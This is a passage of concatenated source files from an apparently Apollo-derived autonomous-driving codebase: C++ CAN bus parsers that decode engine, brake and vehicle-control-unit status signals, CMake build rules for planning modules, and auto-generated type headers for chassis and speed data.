chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_engoperationstatus(ems_engoperationstatus(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_aircompressorstatus(ems_aircompressorstatus(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_throttleplatepositionerror(ems_throttleplatepositionerror(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_startstopmessage(ems_startstopmessage(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_dcm_ems_rollingcounter_0x142(dcm_ems_rollingcounter_0x142(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_ignswtsts(ems_ignswtsts(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_dcm_ems_checksum_0x142(dcm_ems_checksum_0x142(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_engthrottleposition(ems_engthrottleposition(bytes, length)); } // config detail: {'name': 'ems_ignitiontiming', 'enum': {60: 'EMS_IGNITIONTIMING_INVALID'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': -60.0, 'physical_range': '[-60|60]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': '\xa1\xe3[deg]'} int Gwemsengstatus0x142142::ems_ignitiontiming(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 8); int ret = static_cast<int>(x); return ret; } // config detail: {'name': 'ems_setlengidlespeed', 'enum': {8191: 'EMS_SETLENGIDLESPEED_INVALID'}, 'precision': 0.5, 'len': 13, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4095]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'rpm'} double Gwemsengstatus0x142142::ems_setlengidlespeed(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(3, 5); x <<= 5; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'ems_engoperationstatus', 'enum': {0: 'EMS_ENGOPERATIONSTATUS_STOPPED', 1: 'EMS_ENGOPERATIONSTATUS_RUNNING', 2: 'EMS_ENGOPERATIONSTATUS_IDLE', 3: 'EMS_ENGOPERATIONSTATUS_DFCO_RESERVED', 4: 'EMS_ENGOPERATIONSTATUS_CRANKING', 5: 'EMS_ENGOPERATIONSTATUS_STALLING'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|5]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_engoperationstatusType Gwemsengstatus0x142142::ems_engoperationstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 3); Gw_ems_engstatus_0x142_142::Ems_engoperationstatusType ret = static_cast<Gw_ems_engstatus_0x142_142::Ems_engoperationstatusType>(x); return ret; } // config detail: {'name': 'ems_aircompressorstatus', 'enum': {0: 'EMS_AIRCOMPRESSORSTATUS_OFF', 1: 'EMS_AIRCOMPRESSORSTATUS_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_aircompressorstatusType Gwemsengstatus0x142142::ems_aircompressorstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(6, 1); Gw_ems_engstatus_0x142_142::Ems_aircompressorstatusType ret = static_cast<Gw_ems_engstatus_0x142_142::Ems_aircompressorstatusType>(x); return ret; } // config detail: {'name': 'ems_throttleplatepositionerror', 'enum': {0: 'EMS_THROTTLEPLATEPOSITIONERROR_NOERROR', 1: 'EMS_THROTTLEPLATEPOSITIONERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_throttleplatepositionerrorType Gwemsengstatus0x142142::ems_throttleplatepositionerror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(7, 1); Gw_ems_engstatus_0x142_142::Ems_throttleplatepositionerrorType ret = static_cast<Gw_ems_engstatus_0x142_142::Ems_throttleplatepositionerrorType>(x); return ret; } // config detail: {'name': 'ems_startstopmessage', 'enum': {0: 'EMS_STARTSTOPMESSAGE_NOWARNINGMESSAGE', 1: 'EMS_STARTSTOPMESSAGE_CLIMATEREQUEST', 2: 'EMS_STARTSTOPMESSAGE_BRAKELOW', 3: 'EMS_STARTSTOPMESSAGE_START_STOPOFF', 4: 'EMS_STARTSTOPMESSAGE_BATTERYLOW', 5: 'EMS_STARTSTOPMESSAGE_ECTLOW', 6: 'EMS_STARTSTOPMESSAGE_APAINHIBIT', 7: 'EMS_STARTSTOPMESSAGE_ACCINHIBIT', 8: 'EMS_STARTSTOPMESSAGE_TCUINHIBIT', 9: 'EMS_STARTSTOPMESSAGE_STARTPROTECT', 10: 'EMS_STARTSTOPMESSAGE_HOODOPEN', 11: 'EMS_STARTSTOPMESSAGE_DRVIEDOOROPNE', 12: 'EMS_STARTSTOPMESSAGE_STEERINGANGELHIGH', 13: 'EMS_STARTSTOPMESSAGE_STARTSTOPFAILURE', 14: 'EMS_STARTSTOPMESSAGE_MANUALLYRESTART', 15: 'EMS_STARTSTOPMESSAGE_RESERVED'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_startstopmessageType Gwemsengstatus0x142142::ems_startstopmessage(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(4, 4); Gw_ems_engstatus_0x142_142::Ems_startstopmessageType ret = static_cast<Gw_ems_engstatus_0x142_142::Ems_startstopmessageType>(x); return ret; } // config detail: {'name': 'dcm_ems_rollingcounter_0x142', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemsengstatus0x142142::dcm_ems_rollingcounter_0x142(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'ems_ignswtsts', 'enum': {0: 'EMS_IGNSWTSTS_IGNITIONOFF', 1: 'EMS_IGNSWTSTS_IGNITIONON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_ignswtstsType Gwemsengstatus0x142142::ems_ignswtsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Gw_ems_engstatus_0x142_142::Ems_ignswtstsType ret = static_cast<Gw_ems_engstatus_0x142_142::Ems_ignswtstsType>(x); return ret; } // config detail: {'name': 'dcm_ems_checksum_0x142', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemsengstatus0x142142::dcm_ems_checksum_0x142(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'ems_engthrottleposition', 'enum': {255: 'EMS_ENGTHROTTLEPOSITION_INVALID'}, 'precision': 0.392, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|99.568]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': '%'} double Gwemsengstatus0x142142::ems_engthrottleposition(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); double ret = static_cast<double>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(routing_proto poi.pb.cc poi.pb.h routing.pb.cc routing.pb.h routing_config.pb.cc routing_config.pb.h topo_graph.pb.cc topo_graph.pb.h) target_link_libraries(routing_proto common_proto error_code_proto header_proto map_proto protobuf) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(st_graph_point st_graph_point.cc st_graph_point.h) target_link_libraries(st_graph_point planning_gflags st_point) add_library(dp_st_cost dp_st_cost.cc dp_st_cost.h) target_link_libraries(dp_st_cost st_graph_point pnc_point_proto frame obstacle st_boundary dp_st_speed_config_proto /modules/planning/tasks/utils:st_gap_estimator) add_library(gridded_path_time_graph gridded_path_time_graph.cc gridded_path_time_graph.h) target_link_libraries(gridded_path_time_graph dp_st_cost st_graph_point log planning_thread_pool vehicle_config_helper vehicle_config_proto common_proto pnc_point_proto /modules/common/status obstacle path_decision st_graph_data speed_data planning_config_proto planning_proto) add_library(path_time_heuristic_optimizer path_time_heuristic_optimizer.cc path_time_heuristic_optimizer.h) target_link_libraries(path_time_heuristic_optimizer dp_st_cost gridded_path_time_graph vehicle_config_helper vehicle_state_provider /modules/localization/proto:localization_proto st_graph_data dp_st_speed_config_proto planning_proto /modules/planning/tasks/deciders/speed_bounds_decider:st_boundary_mapper /modules/planning/tasks/optimizers:speed_optimizer) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/ibc_status2_0x124_124.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Ibcstatus20x124124::Ibcstatus20x124124() {} const int32_t Ibcstatus20x124124::ID = 0x124; void Ibcstatus20x124124::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_ibc_status2_0x124_124()->set_checksum_0x124(checksum_0x124(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status2_0x124_124()->set_rolling_counter_0x124(rolling_counter_0x124(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status2_0x124_124()->set_ibc_decelerationvaild(ibc_decelerationvaild(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status2_0x124_124()->set_ibc_deceleration(ibc_deceleration(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status2_0x124_124()->set_ibc_brktmcpositionvaild(ibc_brktmcpositionvaild(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status2_0x124_124()->set_ibc_brktmcposition(ibc_brktmcposition(bytes, length)); } // config detail: {'name': 'checksum_0x124', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Ibcstatus20x124124::checksum_0x124(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x124', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Ibcstatus20x124124::rolling_counter_0x124(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'ibc_decelerationvaild', 'enum': {0: 'IBC_DECELERATIONVAILD_INVAILD', 1: 'IBC_DECELERATIONVAILD_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status2_0x124_124::Ibc_decelerationvaildType Ibcstatus20x124124::ibc_decelerationvaild(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 1); Ibc_status2_0x124_124::Ibc_decelerationvaildType ret = static_cast<Ibc_status2_0x124_124::Ibc_decelerationvaildType>(x); return ret; } // config detail: {'name': 'ibc_deceleration', 'offset': 0.0, 'precision': 0.00159276, 'len': 12, 'is_signed_var': True, 'physical_range': '[0|0]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'g'} double Ibcstatus20x124124::ibc_deceleration(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; x <<= 20; x >>= 20; double ret = x * 0.001593; return ret; } // config detail: {'name': 'ibc_brktmcpositionvaild', 'enum': {0: 'IBC_BRKTMCPOSITIONVAILD_INVAILD', 1: 'IBC_BRKTMCPOSITIONVAILD_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status2_0x124_124::Ibc_brktmcpositionvaildType Ibcstatus20x124124::ibc_brktmcpositionvaild(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Ibc_status2_0x124_124::Ibc_brktmcpositionvaildType ret = static_cast<Ibc_status2_0x124_124::Ibc_brktmcpositionvaildType>(x); return ret; } // config detail: {'name': 'ibc_brktmcposition', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Ibcstatus20x124124::ibc_brktmcposition(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(6, 2); x <<= 2; x |= t; double ret = x * 0.100000; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_brkpedalstasus_h #define impl_type_brkpedalstasus_h #include "impl_type_uint8.h" enum class BrkPedalStasus : UInt8 { NOT_PRESSED = 0, PRESSED = 1, RESERRVED = 2, ERROR = 3 }; #endif // impl_type_brkpedalstasus_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(scenario scenario.cc scenario.h) target_link_libraries(scenario stage util planning_common util_lib /modules/planning/tasks:task) add_library(stage stage.cc stage.h) target_link_libraries(stage planning_common util_lib /modules/planning/tasks:task /modules/planning/tasks:task_factory) add_library(scenario_manager scenario_manager.cc scenario_manager.h) target_link_libraries(scenario_manager vehicle_config_helper vehicle_state_provider planning_common planning_context util_lib /modules/planning/scenarios/lane_follow /modules/planning/scenarios/park/valet_parking) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_monitormessage_h #define impl_type_monitormessage_h #include "impl_type_monitormessageitem.h" #include "impl_type_header.h" struct MonitorMessage { ::Header header; ::MonitorMessageItem item; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(header); fun(item); } template<typename F> void enumerate(F& fun) const { fun(header); fun(item); } bool operator == (const ::MonitorMessage& t) const { return (header == t.header) && (item == t.item); } }; #endif // impl_type_monitormessage_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_speedpoint_h #define impl_type_speedpoint_h #include "impl_type_double.h" struct SpeedPoint { ::Double s; ::Double t; ::Double v; ::Double a; ::Double da; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(s); fun(t); fun(v); fun(a); fun(da); } template<typename F> void enumerate(F& fun) const { fun(s); fun(t); fun(v); fun(a); fun(da); } bool operator == (const ::SpeedPoint& t) const { return (s == t.s) && (t == t.t) && (v == t.v) && (a == t.a) && (da == t.da); } }; #endif // impl_type_speedpoint_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_chassiserrorcode_h #define impl_type_chassiserrorcode_h #include "impl_type_uint8.h" enum class ChassisErrorCode : UInt8 { NO_ERROR = 0, CMD_NOT_IN_PERIOD = 1, CHASSIS_ERROR = 2, MANUAL_INTERVENTION = 3, CHASSIS_CAN_NOT_IN_PERIOD = 4, UNKNOWN_ERROR = 5 }; #endif // impl_type_chassiserrorcode_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_HMI_0X358_358_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_HMI_0X358_358_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwvcuhmi0x358358 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwvcuhmi0x358358(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'VCU_Checksum_0x358', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int vcu_checksum_0x358(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_RollingCounter_0x358', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int vcu_rollingcounter_0x358(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VehicleHVStatus', 'enum': {0: 'VEHICLEHVSTATUS_NOT_READY', 1: 'VEHICLEHVSTATUS_HV_ON', 2: 'VEHICLEHVSTATUS_READYTODRIVE', 3: 'VEHICLEHVSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::VehiclehvstatusType vehiclehvstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'PackHeatCircuitError', 'enum': {0: 'PACKHEATCIRCUITERROR_NORMAL', 1: 'PACKHEATCIRCUITERROR_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 44, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::PackheatcircuiterrorType packheatcircuiterror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'PackHeatStatus', 'enum': {0: 'PACKHEATSTATUS_INACTIVE', 1: 'PACKHEATSTATUS_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::PackheatstatusType packheatstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'PackCoolingCircuitError', 'enum': {0: 'PACKCOOLINGCIRCUITERROR_NORMAL', 1: 'PACKCOOLINGCIRCUITERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 10, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::PackcoolingcircuiterrorType packcoolingcircuiterror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MotorCoolingCircuitError', 'enum': {0: 'MOTORCOOLINGCIRCUITERROR_NORMAL', 1: 'MOTORCOOLINGCIRCUITERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::MotorcoolingcircuiterrorType motorcoolingcircuiterror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BatteryVoltageError', 'enum': {0: 'VCU_BATTERYVOLTAGEERROR_NO_WARNING', 1: 'VCU_BATTERYVOLTAGEERROR_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_batteryvoltageerrorType vcu_batteryvoltageerror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BatterVoltage', 'offset': 0.0, 'precision': 0.07, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|17.78]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'V'} double vcu_battervoltage(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_TargCruiseSpeed', 'offset': 0.0, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Km/h'} double vcu_targcruisespeed(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_CruiseControlStatus', 'enum': {0: 'VCU_CRUISECONTROLSTATUS_CRUISECONTROLOOFF', 1: 'VCU_CRUISECONTROLSTATUS_ACTIVE', 2: 'VCU_CRUISECONTROLSTATUS_STANDBY', 3: 'VCU_CRUISECONTROLSTATUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 46, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_cruisecontrolstatusType vcu_cruisecontrolstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_DriverStatus_STS', 'enum': {0: 'VCU_DRIVERSTATUS_STS_NO_DRIVE', 1: 'VCU_DRIVERSTATUS_STS_DRIVE_MODE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_driverstatus_stsType vcu_driverstatus_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_DriveMode_STS', 'enum': {0: 'VCU_DRIVEMODE_STS_INVALID', 1: 'VCU_DRIVEMODE_STS_EV', 2: 'VCU_DRIVEMODE_STS_HEV', 3: 'VCU_DRIVEMODE_STS_FUEL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_drivemode_stsType vcu_drivemode_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_VehChg_STS', 'enum': {0: 'VCU_VEHCHG_STS_INVALID', 1: 'VCU_VEHCHG_STS_STOPCHARGE', 2: 'VCU_VEHCHG_STS_DRIVECHARGE', 3: 'VCU_VEHCHG_STS_NOCHARGE', 4: 'VCU_VEHCHG_STS_CHARGECOMPLETED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_vehchg_stsType vcu_vehchg_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_TBOX_Veh_STS', 'enum': {0: 'VCU_TBOX_VEH_STS_INVALID', 1: 'VCU_TBOX_VEH_STS_START', 2: 'VCU_TBOX_VEH_STS_OFF', 3: 'VCU_TBOX_VEH_STS_OTHER'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_tbox_veh_stsType vcu_tbox_veh_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_EnergyRecoveryMode', 'enum': {0: 'VCU_ICM_ENERGYRECOVERYMODE_NO', 1: 'VCU_ICM_ENERGYRECOVERYMODE_LEVEL1', 2: 'VCU_ICM_ENERGYRECOVERYMODE_LEVEL2', 3: 'VCU_ICM_ENERGYRECOVERYMODE_LEVEL3'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_energyrecoverymodeType vcu_icm_energyrecoverymode(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_VehHVIL_ERR', 'enum': {0: 'VCU_ICM_VEHHVIL_ERR_NORMAL', 1: 'VCU_ICM_VEHHVIL_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_vehhvil_errType vcu_icm_vehhvil_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_Mot_ERR', 'enum': {0: 'VCU_ICM_MOT_ERR_NORMAL', 1: 'VCU_ICM_MOT_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_mot_errType vcu_icm_mot_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_PackVoltOff_ERR', 'enum': {0: 'VCU_ICM_PACKVOLTOFF_ERR_NORMAL', 1: 'VCU_ICM_PACKVOLTOFF_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_packvoltoff_errType vcu_icm_packvoltoff_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_ChgGearLv', 'enum': {0: 'VCU_ICM_CHGGEARLV_NO_WARNING', 1: 'VCU_ICM_CHGGEARLV_PLEASE_SET_GEARPOSITION_TO_PARK'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_chggearlvType vcu_icm_chggearlv(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_PackSys_ERR', 'enum': {0: 'VCU_ICM_PACKSYS_ERR_NORMAL', 1: 'VCU_ICM_PACKSYS_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_packsys_errType vcu_icm_packsys_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_DrvSys_ERR', 'enum': {0: 'VCU_ICM_DRVSYS_ERR_NORMAL', 1: 'VCU_ICM_DRVSYS_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_drvsys_errType vcu_icm_drvsys_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ICM_Veh_ERR', 'enum': {0: 'VCU_ICM_VEH_ERR_NORMAL', 1: 'VCU_ICM_VEH_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 